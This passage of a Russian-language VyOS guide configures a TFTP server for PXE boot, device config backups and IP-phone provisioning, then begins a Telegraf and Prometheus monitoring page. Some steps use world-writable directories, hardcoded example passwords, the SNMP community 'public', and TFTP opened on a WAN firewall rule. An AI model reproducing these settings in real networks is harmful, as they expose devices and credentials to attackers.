    APPEND vga=788 initrd=images/ubuntu-installer/initrd.gz

LABEL ubuntu-live
    MENU LABEL Ubuntu 22.04 Live (no install)
    KERNEL images/ubuntu-live/vmlinuz
    APPEND initrd=images/ubuntu-live/initrd boot=casper netboot=nfs nfsroot=192.168.1.1:/srv/nfs/ubuntu-live

LABEL local
    MENU LABEL Boot from local disk
    LOCALBOOT 0
EOF

sudo chown -R tftp:tftp /config/tftp/pxe
```

**Тестирование PXE**:
1. Загрузить клиентскую машину
2. В BIOS включить PXE/Network Boot
3. Выбрать сетевую карту как первое загрузочное устройство
4. Перезагрузить - должно появиться PXE меню

### 2. TFTP для централизованного backup конфигураций Mikrotik

**Задача**: Автоматическое резервное копирование конфигураций Mikrotik роутеров.

```bash
# TFTP-сервер для Mikrotik
set service tftp-server listen-address 10.0.0.1
set service tftp-server directory /config/tftp/mikrotik
set service tftp-server allow-upload

# Firewall
set firewall group network-group MIKROTIK_DEVICES network 10.0.1.0/24

set firewall name MIKROTIK_MGMT_LOCAL rule 60 action accept
set firewall name MIKROTIK_MGMT_LOCAL rule 60 protocol udp
set firewall name MIKROTIK_MGMT_LOCAL rule 60 destination port 69
set firewall name MIKROTIK_MGMT_LOCAL rule 60 source group network-group MIKROTIK_DEVICES

set firewall interface eth0 local name MIKROTIK_MGMT_LOCAL

commit
save
```

**Создать структуру для backup**:
```bash
sudo mkdir -p /config/tftp/mikrotik/backups
sudo chmod 777 /config/tftp/mikrotik/backups
```

**Скрипт на Mikrotik для автоматического backup**:
```routeros
# Mikrotik RouterOS скрипт
/system script add name=backup-to-tftp source={
    /system backup save name=backup-latest
    :delay 5s
    /tool fetch address=10.0.0.1 src-path=backup-latest.backup dst-path=backups/[/system identity get name]-[/system clock get date].backup upload=yes mode=tftp
}

# Запланировать ежедневный backup в 4 утра
/system scheduler add name=daily-backup interval=1d start-time=04:00:00 on-event=backup-to-tftp
```

**Мониторинг backup на VyOS**:
```bash
# Скрипт для проверки свежести backup
sudo tee /config/scripts/check-mikrotik-backups.sh > /dev/null <<'EOF'
#!/bin/bash
BACKUP_DIR="/config/tftp/mikrotik/backups"
TODAY=$(date +%Y-%m-%d)
YESTERDAY=$(date -d "yesterday" +%Y-%m-%d)

echo "Checking Mikrotik backups..."

for device in router-01 router-02 router-03; do
    LATEST=$(find "$BACKUP_DIR" -name "$device-*" -mtime -1 | wc -l)

    if [ "$LATEST" -eq 0 ]; then
        echo "WARNING: No recent backup for $device"
        # Отправить алерт (email, telegram, syslog)
        logger -t mikrotik-backup "WARNING: Missing backup for $device"
    else
        echo "OK: $device backup found"
    fi
done
EOF

sudo chmod +x /config/scripts/check-mikrotik-backups.sh

# Запланировать проверку каждое утро в 8:00
set system task-scheduler task check-backups interval '0 8 * * *'
set system task-scheduler task check-backups executable path '/config/scripts/check-mikrotik-backups.sh'

commit
save
```

### 3. TFTP для IP-телефонов Yealink в офисе

**Задача**: Централизованное управление конфигурацией 50 IP-телефонов Yealink.

```bash
# TFTP для Voice VLAN
set service tftp-server listen-address 192.168.10.1
set service tftp-server directory /config/tftp/yealink

# DHCP для Voice VLAN (802.1Q VLAN 10)
set service dhcp-server shared-network-name VOICE subnet 192.168.10.0/24 range 0 start 192.168.10.100
set service dhcp-server shared-network-name VOICE subnet 192.168.10.0/24 range 0 stop 192.168.10.200
set service dhcp-server shared-network-name VOICE subnet 192.168.10.0/24 option default-router 192.168.10.1
set service dhcp-server shared-network-name VOICE subnet 192.168.10.0/24 option name-server 192.168.10.1
set service dhcp-server shared-network-name VOICE subnet 192.168.10.0/24 option tftp-server-name 192.168.10.1

# VLAN для Voice
set interfaces ethernet eth1 vif 10 address 192.168.10.1/24
set interfaces ethernet eth1 vif 10 description 'Voice VLAN'

commit
save
```

**Создать общий конфигурационный файл для всех телефонов**:
```bash
# Общая конфигурация для всех Yealink (y000000000000.cfg)
sudo tee /config/tftp/yealink/y000000000000.cfg > /dev/null <<'EOF'
#!version:1.0.0.1

## Общие настройки
lang.gui = Russian
lang.wui = Russian
local_time.time_zone = +3
local_time.ntp_server1 = pool.ntp.org
local_time.dhcp_time = 0

## SIP сервер
account.1.sip_server.1.address = pbx.corp.local
account.1.sip_server.1.port = 5060
account.1.outbound_proxy.1.address = pbx.corp.local
account.1.outbound_proxy.1.port = 5060

## Автоматическая подготовка
auto_provision.mode = 6
auto_provision.schedule.periodic_minute = 1440
auto_provision.server.url = http://192.168.10.1/provision/

## Качество звука
voice.codec.1.enable = 1
voice.codec.1.payload_type = PCMU
voice.codec.2.enable = 1
voice.codec.2.payload_type = PCMA
voice.codec.3.enable = 1
voice.codec.3.payload_type = G722

## Сетевые настройки
network.vlan.internet_port_enable = 1
network.vlan.internet_port_vid = 10
network.vlan.internet_port_priority = 5
network.lldp.enable = 1

## Безопасность
security.user_password = admin:AdminPassword123

## Функциональные клавиши
programablekey.1.type = 15
programablekey.1.line = 1
programablekey.1.value = Voicemail
programablekey.1.label = Голосовая почта

## Обои и заставка
wallpaper.file_name = /config/tftp/yealink/wallpaper.jpg
screensaver.file_name = /config/tftp/yealink/screensaver.jpg
EOF

sudo chown tftp:tftp /config/tftp/yealink/y000000000000.cfg
```

**Индивидуальные конфигурации по MAC-адресу**:
```bash
# Пример для конкретного телефона (MAC: 00:15:65:12:34:56)
sudo tee /config/tftp/yealink/001565123456.cfg > /dev/null <<'EOF'
#!version:1.0.0.1
# Наследуем общую конфигурацию
include:config y000000000000.cfg

## Индивидуальные настройки для конкретного телефона
account.1.enable = 1
account.1.label = Reception
account.1.display_name = Стойка регистрации
account.1.auth_name = 1000
account.1.user_name = 1000
account.1.password = SecretPass1000

## BLF кнопки (мониторинг других линий)
programablekey.2.type = 16
programablekey.2.line = 1
programablekey.2.value = 1001
programablekey.2.label = Директор

programablekey.3.type = 16
programablekey.3.line = 1
programablekey.3.value = 1002
programablekey.3.label = Бухгалтерия
EOF

sudo chown tftp:tftp /config/tftp/yealink/*.cfg
```

**Массовое развертывание через скрипт**:
```bash
# Скрипт для генерации конфигураций из CSV
sudo tee /config/scripts/generate-yealink-configs.sh > /dev/null <<'EOF'
#!/bin/bash
# Генерация конфигураций Yealink из CSV файла
# Формат CSV: MAC,Extension,Name,Password

CSV_FILE="/config/tftp/yealink/phones.csv"
CONFIG_DIR="/config/tftp/yealink"

while IFS=, read -r mac ext name password; do
    # Пропустить заголовок
    [[ "$mac" == "MAC" ]] && continue

    # Убрать двоеточия из MAC
    mac_clean=$(echo "$mac" | tr -d ':' | tr '[:upper:]' '[:lower:]')

    cat > "$CONFIG_DIR/${mac_clean}.cfg" <<CONFIG
#!version:1.0.0.1
include:config y000000000000.cfg

account.1.enable = 1
account.1.label = $name
account.1.display_name = $name
account.1.auth_name = $ext
account.1.user_name = $ext
account.1.password = $password
CONFIG

    echo "Generated config for $name ($ext) - MAC: $mac"
done < "$CSV_FILE"

chown tftp:tftp "$CONFIG_DIR"/*.cfg
echo "All phone configs generated"
EOF

sudo chmod +x /config/scripts/generate-yealink-configs.sh
```

**Файл phones.csv**:
```csv
MAC,Extension,Name,Password
00:15:65:12:34:56,1000,Reception,Pass1000
00:15:65:12:34:57,1001,Director,Pass1001
00:15:65:12:34:58,1002,Accounting,Pass1002
00:15:65:12:34:59,1003,Sales,Pass1003
```

**Запуск генерации**:
```bash
sudo /config/scripts/generate-yealink-configs.sh
```

### 4. TFTP с HTTP provisioning для Cisco устройств

**Задача**: Комбинированное использование TFTP и HTTP для Cisco устройств.

```bash
# TFTP для legacy устройств
set service tftp-server listen-address 10.0.0.1
set service tftp-server directory /config/tftp/cisco

# HTTP для современных устройств
set service https listen-address 10.0.0.1
set service https allow-client address 10.0.0.0/8

commit
save
```

**Создать HTTP provisioning структуру**:
```bash
# Создать web-директорию для provisioning
sudo mkdir -p /var/www/html/cisco/{configs,firmware,scripts}
sudo ln -s /config/tftp/cisco /var/www/html/cisco/legacy

# Создать index.html для навигации
sudo tee /var/www/html/cisco/index.html > /dev/null <<'EOF'
<!DOCTYPE html>
<html>
<head>
    <title>Cisco Device Provisioning</title>
</head>
<body>
    <h1>Cisco Provisioning Server</h1>
    <ul>
        <li><a href="configs/">Configurations</a></li>
        <li><a href="firmware/">Firmware Images</a></li>
        <li><a href="scripts/">Scripts</a></li>
        <li><a href="legacy/">TFTP Files (Legacy)</a></li>
    </ul>
</body>
</html>
EOF
```

**Скрипт для автоматического provisioning Cisco**:
```bash
# ZTP (Zero Touch Provisioning) скрипт
sudo tee /var/www/html/cisco/scripts/ztp.py > /dev/null <<'EOF'
#!/usr/bin/env python3
import cli
import sys

# Базовая конфигурация для нового Cisco устройства
commands = [
    'hostname new-cisco-switch',
    'ip domain-name corp.local',
    'username admin privilege 15 secret AdminPassword123',
    'enable secret EnablePassword123',
    'ip default-gateway 10.0.0.1',
    'ip name-server 10.0.0.1',
    'ntp server 10.0.0.1',
    'logging host 10.0.0.1',
    'snmp-server community public RO',
    'snmp-server host 10.0.0.1 version 2c public',
    'line vty 0 4',
    'transport input ssh',
    'login local',
    'exit',
    'interface Vlan1',
    'ip address dhcp',
    'no shutdown',
    'exit',
    'crypto key generate rsa modulus 2048',
]

print("Starting Zero Touch Provisioning...")

for cmd in commands:
    try:
        cli.configure(cmd)
        print(f"OK: {cmd}")
    except Exception as e:
        print(f"ERROR: {cmd} - {e}")

print("Saving configuration...")
cli.execute('copy running-config startup-config')
print("ZTP completed successfully")
EOF

sudo chmod +x /var/www/html/cisco/scripts/ztp.py
```

**DHCP с опциями для ZTP**:
```bash
# DHCP для Cisco с ZTP
set service dhcp-server shared-network-name CISCO_MGMT subnet 10.0.0.0/24 range 0 start 10.0.0.100
set service dhcp-server shared-network-name CISCO_MGMT subnet 10.0.0.0/24 range 0 stop 10.0.0.200
set service dhcp-server shared-network-name CISCO_MGMT subnet 10.0.0.0/24 option default-router 10.0.0.1
set service dhcp-server shared-network-name CISCO_MGMT subnet 10.0.0.0/24 option name-server 10.0.0.1

# DHCP Option 150 - TFTP server (Cisco-specific)
set service dhcp-server shared-network-name CISCO_MGMT subnet 10.0.0.0/24 option tftp-server-name 10.0.0.1

# DHCP Option 67 - Boot file для ZTP
set service dhcp-server shared-network-name CISCO_MGMT subnet 10.0.0.0/24 option bootfile-name 'http://10.0.0.1/cisco/scripts/ztp.py'

commit
save
```

### 5. TFTP с ротацией и архивированием backup

**Задача**: Автоматическое архивирование старых backup с ротацией.

```bash
# TFTP-сервер
set service tftp-server listen-address 192.168.1.1
set service tftp-server directory /config/tftp
set service tftp-server allow-upload

commit
save
```

**Скрипт для ротации и архивирования**:
```bash
sudo tee /config/scripts/tftp-backup-rotation.sh > /dev/null <<'EOF'
#!/bin/bash
# Автоматическая ротация TFTP backup с архивированием

TFTP_DIR="/config/tftp"
ARCHIVE_DIR="/var/backups/tftp-archives"
RETENTION_DAYS=90

DATE=$(date +%Y%m%d)
ARCHIVE_NAME="tftp-backup-$DATE.tar.gz"

# Создать директорию для архивов
mkdir -p "$ARCHIVE_DIR"

echo "Starting TFTP backup rotation..."

# 1. Архивировать текущие backup старше 7 дней
find "$TFTP_DIR" -name "*.cfg" -mtime +7 -type f | while read file; do
    echo "Archiving: $file"

    # Создать структуру директорий в архиве
    relative_path="${file#$TFTP_DIR/}"
    archive_file="$ARCHIVE_DIR/$(dirname $relative_path)"
    mkdir -p "$archive_file"

    # Сжать и переместить
    gzip -c "$file" > "$archive_file/$(basename $file).gz"
    rm "$file"
done

# 2. Создать общий архив за месяц
if [ $(date +%d) -eq 01 ]; then
    LAST_MONTH=$(date -d "last month" +%Y%m)
    echo "Creating monthly archive for $LAST_MONTH..."

    tar -czf "$ARCHIVE_DIR/tftp-monthly-$LAST_MONTH.tar.gz" \
        -C "$ARCHIVE_DIR" \
        $(find "$ARCHIVE_DIR" -name "tftp-backup-${LAST_MONTH}*.tar.gz" -type f -printf "%f ")

    # Удалить дневные архивы после создания месячного
    find "$ARCHIVE_DIR" -name "tftp-backup-${LAST_MONTH}*.tar.gz" -type f -delete
fi

# 3. Удалить архивы старше срока хранения
find "$ARCHIVE_DIR" -name "tftp-monthly-*.tar.gz" -mtime +$RETENTION_DAYS -type f -delete

# 4. Статистика
TOTAL_SIZE=$(du -sh "$ARCHIVE_DIR" | cut -f1)
ARCHIVE_COUNT=$(find "$ARCHIVE_DIR" -type f | wc -l)

echo "Backup rotation completed"
echo "Total archives: $ARCHIVE_COUNT"
echo "Total size: $TOTAL_SIZE"

# Логировать в syslog
logger -t tftp-rotation "Backup rotation completed: $ARCHIVE_COUNT archives, $TOTAL_SIZE total"
EOF

sudo chmod +x /config/scripts/tftp-backup-rotation.sh

# Запланировать ежедневную ротацию в 5 утра
set system task-scheduler task tftp-rotation interval '0 5 * * *'
set system task-scheduler task tftp-rotation executable path '/config/scripts/tftp-backup-rotation.sh'

commit
save
```

### 6. Мониторинг TFTP-сервера с алертингом

**Задача**: Мониторинг доступности и активности TFTP-сервера.

```bash
# TFTP-сервер
set service tftp-server listen-address 192.168.1.1
set service tftp-server directory /config/tftp

# SNMP для мониторинга
set service snmp community public authorization ro
set service snmp listen-address 192.168.1.1

commit
save
```

**Скрипт мониторинга с Telegram алертами**:
```bash
sudo tee /config/scripts/tftp-monitor.sh > /dev/null <<'EOF'
#!/bin/bash
# Мониторинг TFTP-сервера с Telegram алертами

TFTP_DIR="/config/tftp"
TELEGRAM_BOT_TOKEN="YOUR_BOT_TOKEN"
TELEGRAM_CHAT_ID="YOUR_CHAT_ID"

send_telegram() {
    local message="$1"
    curl -s -X POST "https://api.telegram.org/bot$TELEGRAM_BOT_TOKEN/sendMessage" \
        -d "chat_id=$TELEGRAM_CHAT_ID" \
        -d "text=$message" \
        -d "parse_mode=Markdown" > /dev/null
}

# 1. Проверить, запущен ли TFTP
if ! systemctl is-active --quiet tftpd-hpa; then
    send_telegram "ALERT: TFTP service is DOWN on $(hostname)"
    logger -t tftp-monitor "CRITICAL: TFTP service is not running"
    exit 1
fi

# 2. Проверить доступность порта
if ! netstat -ln | grep -q ':69 '; then
    send_telegram "ALERT: TFTP port 69 is not listening on $(hostname)"
    logger -t tftp-monitor "CRITICAL: TFTP port not listening"
    exit 1
fi

# 3. Проверить место на диске
DISK_USAGE=$(df -h "$TFTP_DIR" | tail -1 | awk '{print $5}' | tr -d '%')
if [ "$DISK_USAGE" -gt 85 ]; then
    send_telegram "WARNING: TFTP disk usage is ${DISK_USAGE}% on $(hostname)"
    logger -t tftp-monitor "WARNING: High disk usage: ${DISK_USAGE}%"
fi

# 4. Проверить активность (файлы за последние 24 часа)
RECENT_FILES=$(find "$TFTP_DIR" -type f -mtime -1 | wc -l)
if [ "$RECENT_FILES" -eq 0 ]; then
    send_telegram "INFO: No TFTP activity in last 24 hours on $(hostname)"
    logger -t tftp-monitor "INFO: No TFTP activity detected"
fi

# 5. Статистика
TOTAL_FILES=$(find "$TFTP_DIR" -type f | wc -l)
TOTAL_SIZE=$(du -sh "$TFTP_DIR" | cut -f1)

logger -t tftp-monitor "OK: TFTP is running - $TOTAL_FILES files, $TOTAL_SIZE total"
EOF

sudo chmod +x /config/scripts/tftp-monitor.sh

# Запланировать проверку каждые 15 минут
set system task-scheduler task tftp-health-check interval '*/15 * * * *'
set system task-scheduler task tftp-health-check executable path '/config/scripts/tftp-monitor.sh'

commit
save
```

## Мониторинг и диагностика

### Операционные команды

```bash
# Статус TFTP-сервера
show service tftp-server

# Активные TFTP-соединения
show system connections port 69

# Логи TFTP (в syslog)
show log | match tftp

# Список файлов в TFTP-директории
ls -lh /config/tftp

# Использование дискового пространства
df -h /config

# Последние измененные файлы (upload)
find /config/tftp -type f -mtime -1 -ls

# Топ-10 самых больших файлов
du -ah /config/tftp | sort -rh | head -10
```

### Анализ активности

```bash
# Скрипт для анализа TFTP логов
sudo tee /config/scripts/tftp-stats.sh > /dev/null <<'EOF'
#!/bin/bash
# Статистика использования TFTP

echo "TFTP Activity Statistics"
echo "========================"

# Количество обращений за сегодня
TODAY_REQUESTS=$(journalctl -u tftpd-hpa --since today | grep -c "RRQ\|WRQ")
echo "Requests today: $TODAY_REQUESTS"

# Топ запрашиваемых файлов
echo -e "\nTop requested files:"
journalctl -u tftpd-hpa --since "7 days ago" | \
    grep "RRQ" | \
    awk '{print $NF}' | \
    sort | uniq -c | sort -rn | head -10

# Топ клиентов
echo -e "\nTop clients:"
journalctl -u tftpd-hpa --since "7 days ago" | \
    grep -oP '\d+\.\d+\.\d+\.\d+' | \
    sort | uniq -c | sort -rn | head -10

# Ошибки
echo -e "\nErrors:"
journalctl -u tftpd-hpa --since "7 days ago" | grep -i "error\|fail" | wc -l
EOF

sudo chmod +x /config/scripts/tftp-stats.sh
```

## Устранение неполадок

### 1. TFTP-сервер не отвечает

**Симптомы**: Клиенты получают timeout при попытке подключения.

**Проверка**:
```bash
# Проверить статус службы
show service tftp-server

# Проверить порт
show system connections port 69

# Проверить firewall
show firewall

# Проверить директорию
ls -ld /config/tftp
```

**Решение**:
```bash
# Перезапустить TFTP
restart service tftp-server

# Проверить права на директорию
sudo chown -R tftp:tftp /config/tftp
sudo chmod -R 755 /config/tftp

# Для upload нужны права записи
sudo chmod 777 /config/tftp/uploads

# Проверить firewall (разрешить UDP 69)
set firewall name WAN_LOCAL rule 100 action accept
set firewall name WAN_LOCAL rule 100 protocol udp
set firewall name WAN_LOCAL rule 100 destination port 69

commit
save
```

**Тестирование**:
```bash
# С клиента
tftp -v 192.168.1.1 -c get test.txt

# Или с VyOS (установить tftp-client)
sudo apt-get update
sudo apt-get install tftp-hpa
tftp localhost -c get test.txt
```

### 2. Upload не работает

**Симптомы**: Чтение работает, но запись файлов не удается.

**Проверка**:
```bash
# Проверить, включен ли allow-upload
show configuration service tftp-server | grep allow-upload

# Проверить права на директорию
ls -ld /config/tftp
```

**Решение**:
```bash
# Включить upload
set service tftp-server allow-upload

commit
save

# Дать права записи
sudo chmod 777 /config/tftp

# Или создать отдельную upload директорию
sudo mkdir -p /config/tftp/uploads
sudo chmod 777 /config/tftp/uploads
```

### 3. PXE Boot не работает

**Симптомы**: Клиент получает DHCP, но PXE загрузка не начинается.

**Проверка**:
```bash
# Проверить DHCP опции
show configuration service dhcp-server

# Проверить файлы PXE
ls -l /config/tftp/pxe/pxelinux.0

# Проверить TFTP
show service tftp-server
```

**Решение**:
```bash
# Убедиться, что DHCP передает правильные опции
set service dhcp-server shared-network-name LAN subnet 192.168.1.0/24 option tftp-server-name 192.168.1.1
set service dhcp-server shared-network-name LAN subnet 192.168.1.0/24 option bootfile-name 'pxelinux.0'

commit
save

# Проверить наличие pxelinux.0
sudo ls -l /config/tftp/pxe/pxelinux.0

# Права должны быть читаемыми
sudo chmod 644 /config/tftp/pxe/pxelinux.0

# Проверить зависимости
sudo ls -l /config/tftp/pxe/{ldlinux.c32,vesamenu.c32}
```

**Тестирование на клиенте**:
- Включить PXE в BIOS/UEFI
- Проверить, получает ли клиент IP через DHCP
- Проверить логи TFTP: `show log | match tftp`

### 4. Cisco не может сохранить конфигурацию на TFTP

**Симптомы**: Cisco устройство выдает "Error opening tftp..." при попытке copy.

**Проверка**:
```bash
# Проверить firewall (убедиться, что Cisco устройство может подключиться)
show firewall

# Проверить upload
show configuration service tftp-server | grep allow-upload

# Проверить права
ls -ld /config/tftp
```

**Решение**:
```bash
# 1. Включить upload
set service tftp-server allow-upload

# 2. Создать директорию для Cisco backup с правами записи
sudo mkdir -p /config/tftp/cisco/backups
sudo chmod 777 /config/tftp/cisco/backups

# 3. Firewall - разрешить с Cisco устройств
set firewall group network-group CISCO_DEVICES network 10.0.1.0/24

set firewall name CISCO_LOCAL rule 50 action accept
set firewall name CISCO_LOCAL rule 50 protocol udp
set firewall name CISCO_LOCAL rule 50 destination port 69
set firewall name CISCO_LOCAL rule 50 source group network-group CISCO_DEVICES

set firewall interface eth0 local name CISCO_LOCAL

commit
save
```

**На Cisco устройстве**:
```cisco
# Указать полный путь с поддиректорией
Switch# copy running-config tftp://10.0.0.1/cisco/backups/switch01.cfg
```

### 5. IP-телефоны не загружают конфигурацию

**Симптомы**: Телефоны получают IP, но не применяют конфигурацию.

**Проверка**:
```bash
# Проверить DHCP option 66
show configuration service dhcp-server | grep tftp

# Проверить файлы конфигурации
ls -l /config/tftp/yealink/

# Логи TFTP
show log | match tftp | tail 50
```

**Решение**:
```bash
# 1. Убедиться, что DHCP передает TFTP server
set service dhcp-server shared-network-name VOICE subnet 192.168.10.0/24 option tftp-server-name 192.168.10.1

commit
save

# 2. Проверить naming convention для Yealink
# Формат: MAC address без разделителей + .cfg
# Пример: 001565123456.cfg для MAC 00:15:65:12:34:56

# Проверить формат имени файла
ls -l /config/tftp/yealink/*.cfg

# 3. Права на файлы
sudo chmod 644 /config/tftp/yealink/*.cfg
sudo chown tftp:tftp /config/tftp/yealink/*.cfg

# 4. Проверить общий конфигурационный файл
ls -l /config/tftp/yealink/y000000000000.cfg
```

**На телефоне** (через веб-интерфейс):
- Settings > Auto Provision
- Server URL: tftp://192.168.10.1
- Нажать Auto Provision Now

### 6. Большие файлы не передаются

**Симптомы**: Файлы >32 МБ не передаются или обрываются.

**Причина**: Стандартный TFTP имеет ограничение 32 МБ.

**Решение**:
```bash
# 1. Использовать HTTP/FTP для больших файлов
set service https listen-address 192.168.1.1

# 2. Разместить файлы в веб-директории
sudo mkdir -p /var/www/html/firmware
sudo cp large-firmware.bin /var/www/html/firmware/

# 3. На клиенте использовать HTTP вместо TFTP
# Cisco:
Switch# copy http://192.168.1.1/firmware/large-firmware.bin flash:

# Mikrotik:
/tool fetch url=http://192.168.1.1/firmware/large-firmware.bin

# 4. Для PXE использовать HTTP boot (iPXE)
# Скачать iPXE
wget http://boot.ipxe.org/ipxe.pxe -O /config/tftp/pxe/ipxe.pxe

# В pxelinux.cfg/default добавить
LABEL ipxe
    KERNEL ipxe.pxe
```

## Лучшие практики

1. **Безопасность доступа**
   - Использовать TFTP только в изолированных management VLAN
   - Ограничивать доступ через firewall ACL
   - Отключать upload где не требуется
   - Не хранить конфиденциальные данные в TFTP

2. **Структура директорий**
   - Создавать отдельные директории для типов устройств
   - Использовать понятные имена файлов
   - Хранить firmware отдельно от configs
   - Создавать timestamped backups

3. **Резервное копирование**
   - Автоматизировать backup конфигураций устройств
   - Использовать ротацию и архивирование
   - Хранить архивы минимум 90 дней
   - Тестировать восстановление из backup

4. **Мониторинг**
   - Мониторить доступность TFTP-сервера
   - Отслеживать дисковое пространство
   - Логировать все операции
   - Настроить алерты на сбои

5. **Интеграция с DHCP**
   - Использовать DHCP option 66/67 для автоматизации
   - Указывать IP-адрес, а не hostname для TFTP server
   - Проверять consistency между DHCP и TFTP конфигурацией

6. **Производительность**
   - Использовать SSD для TFTP директории при высокой нагрузке
   - Ограничивать размер TFTP директории
   - Регулярно удалять старые файлы
   - Мониторить сетевую пропускную способность

7. **Документация**
   - Вести реестр устройств с MAC-адресами
   - Документировать naming conventions для файлов
   - Записывать версии firmware и даты обновления
   - Создать runbook для типовых операций

8. **Для больших файлов**
   - Использовать HTTP/FTP вместо TFTP для файлов >32 МБ
   - Включить HTTP server на VyOS для firmware
   - Использовать iPXE для HTTP boot

9. **Автоматизация**
   - Использовать скрипты для массовых операций
   - Автоматизировать генерацию конфигураций
   - Планировать регулярные задачи через task-scheduler
   - Использовать Ansible для управления

10. **Тестирование**
    - Тестировать конфигурации на тестовых устройствах
    - Проверять backup перед применением в production
    - Иметь rollback план для firmware updates
    - Документировать проверенные конфигурации

## Заключение

TFTP-сервер в VyOS предоставляет простой и эффективный способ централизованного управления конфигурациями и прошивками сетевого оборудования. Правильная конфигурация TFTP с автоматизацией backup, интеграцией с DHCP и надежным мониторингом значительно упрощает администрирование сетевой инфраструктуры и повышает надежность операций.


---

# Monitoring Service в VyOS

Source: https://opennix.org/docs/vyos/services/vyos-monitoring/


VyOS предоставляет встроенные возможности для сбора и экспорта метрик производительности, системных данных и логов через Telegraf и Prometheus exporters, обеспечивая полный мониторинг сетевой инфраструктуры.

## Обзор

### Компоненты мониторинга

VyOS поддерживает два основных механизма мониторинга:

**Telegraf** - универсальный агент сбора метрик:
- Сбор системных метрик (CPU, memory, disk, network)
- Экспорт в множество систем мониторинга
- Поддержка различных output plugins
- Обработка логов и событий

**Prometheus Exporters** - специализированные экспортеры метрик:
- Node Exporter - системные метрики оборудования и ОС
- FRR Exporter - метрики маршрутизации Free Range Routing
- Blackbox Exporter - проверка доступности сервисов

### Поддерживаемые системы мониторинга

Telegraf может экспортировать метрики в:
- **InfluxDB** - Time-series база данных
- **Prometheus** - Система мониторинга и алертинга
- **Azure Data Explorer** - Аналитическая платформа Microsoft Azure
- **Splunk** - Платформа для анализа данных
- **Loki** - Система агрегации логов от Grafana

## Telegraf Configuration

### Базовая настройка Telegraf

```bash
# Включить Telegraf
set service monitoring telegraf

commit
save
```

### Системные метрики

Telegraf автоматически собирает:
- CPU usage и load average
- Memory и swap utilization
- Disk I/O и space usage
- Network interface statistics
- System uptime

## InfluxDB Integration

### Конфигурация InfluxDB output

```bash
# Организация и bucket
set service monitoring telegraf influxdb authentication organization 'vyos-monitoring'
set service monitoring telegraf influxdb bucket 'vyos-metrics'

# Authentication token
set service monitoring telegraf influxdb authentication token 'YOUR_INFLUXDB_TOKEN'

# InfluxDB server URL
set service monitoring telegraf influxdb url 'http://influxdb.example.com'
set service monitoring telegraf influxdb port '8086'

commit
save
```

### Параметры InfluxDB

**Organization** - организация в InfluxDB 2.x:
```bash
set service monitoring telegraf influxdb authentication organization 'company-ops'
```

**Bucket** - целевой bucket для метрик:
```bash
set service monitoring telegraf influxdb bucket 'network-metrics'
```

**Token** - authentication token для InfluxDB API:
```bash
set service monitoring telegraf influxdb authentication token 'ZAml9Uy5wrhA...=='
```

**URL и Port**:
```bash
set service monitoring telegraf influxdb url 'https://influxdb.cloud.example.com'
set service monitoring telegraf influxdb port '443'
```

### Пример полной конфигурации InfluxDB

```bash
# InfluxDB Cloud configuration
set service monitoring telegraf influxdb authentication organization 'network-team'
set service monitoring telegraf influxdb authentication token 'eyJrIjoiVGVzdCIsIm4iOiJUZXN0...'
set service monitoring telegraf influxdb bucket 'vyos-production'
set service monitoring telegraf influxdb url 'https://eu-central-1-1.aws.cloud2.influxdata.com'
set service monitoring telegraf influxdb port '443'

commit
save
```

## Prometheus Client Integration

### Конфигурация Prometheus output

Telegraf может экспортировать метрики в формате Prometheus:

```bash
# Включить Prometheus client
set service monitoring telegraf prometheus-client

# Адрес и порт для scraping
set service monitoring telegraf prometheus-client listen-address '0.0.0.0'
set service monitoring telegraf prometheus-client port '9273'

# Разрешить доступ с Prometheus server
set service monitoring telegraf prometheus-client allow-from '192.168.1.100/32'
set service monitoring telegraf prometheus-client allow-from '10.0.0.0/8'

commit
save
```

### Параметры Prometheus Client

**Listen address**:
```bash
set service monitoring telegraf prometheus-client listen-address '192.168.1.1'
```

**Port** (default: 9273):
```bash
set service monitoring telegraf prometheus-client port '9273'
```

**Allow-from** - network ACL:
```bash
set service monitoring telegraf prometheus-client allow-from '192.168.1.0/24'
set service monitoring telegraf prometheus-client allow-from '10.0.0.0/8'
```

**HTTP Authentication** (опционально):
```bash
set service monitoring telegraf prometheus-client authentication username 'prometheus'
set service monitoring telegraf prometheus-client authentication password 'secure_password'
```

**Metric version**:
```bash
set service monitoring telegraf prometheus-client metric-version 2
```

### Prometheus scrape configuration

Добавьте в `prometheus.yml` на Prometheus server:

```yaml
scrape_configs:
  - job_name: 'vyos-telegraf'
    static_configs:
      - targets:
        - '192.168.1.1:9273'
        labels:
          hostname: 'vyos-router-01'
          environment: 'production'

    # Если настроена аутентификация
    basic_auth:
      username: 'prometheus'
      password: 'secure_password'

    scrape_interval: 30s
    scrape_timeout: 10s
```

## Azure Data Explorer Integration

### Конфигурация Azure Data Explorer

```bash
# Azure AD authentication
set service monitoring telegraf azure-data-explorer authentication client-id 'XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX'
set service monitoring telegraf azure-data-explorer authentication client-secret 'YOUR_CLIENT_SECRET'
set service monitoring telegraf azure-data-explorer authentication tenant-id 'YYYYYYYY-YYYY-YYYY-YYYY-YYYYYYYYYYYY'

# Database configuration
set service monitoring telegraf azure-data-explorer database 'NetworkMetrics'
set service monitoring telegraf azure-data-explorer url 'https://mycluster.region.kusto.windows.net'

# Metrics grouping
set service monitoring telegraf azure-data-explorer metrics-grouping-type 'SingleTable'

commit
save
```

### Параметры Azure Data Explorer

**Authentication** - Service Principal credentials:
```bash
set service monitoring telegraf azure-data-explorer authentication client-id 'app-id'
set service monitoring telegraf azure-data-explorer authentication client-secret 'secret'
set service monitoring telegraf azure-data-explorer authentication tenant-id 'tenant-id'
```

**Database**:
```bash
set service monitoring telegraf azure-data-explorer database 'VyOSMetrics'
```

**URL** - Kusto cluster URL:
```bash
set service monitoring telegraf azure-data-explorer url 'https://vyoscluster.eastus.kusto.windows.net'
```

**Metrics Grouping**:
```bash
# SingleTable - все метрики в одной таблице
set service monitoring telegraf azure-data-explorer metrics-grouping-type 'SingleTable'

# TablePerMetric - отдельная таблица для каждой метрики
set service monitoring telegraf azure-data-explorer metrics-grouping-type 'TablePerMetric'
```

## Splunk Integration

### Конфигурация Splunk output

```bash
# Splunk HEC endpoint
set service monitoring telegraf splunk url 'https://splunk.example.com:8088'

# HEC token
set service monitoring telegraf splunk authentication token 'xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx'

# Source и sourcetype
set service monitoring telegraf splunk source 'vyos-router-01'
set service monitoring telegraf splunk sourcetype 'vyos:metrics'

commit
save
```

### Параметры Splunk

**URL** - HTTP Event Collector endpoint:
```bash
set service monitoring telegraf splunk url 'https://splunk-hec.company.com:8088'
```

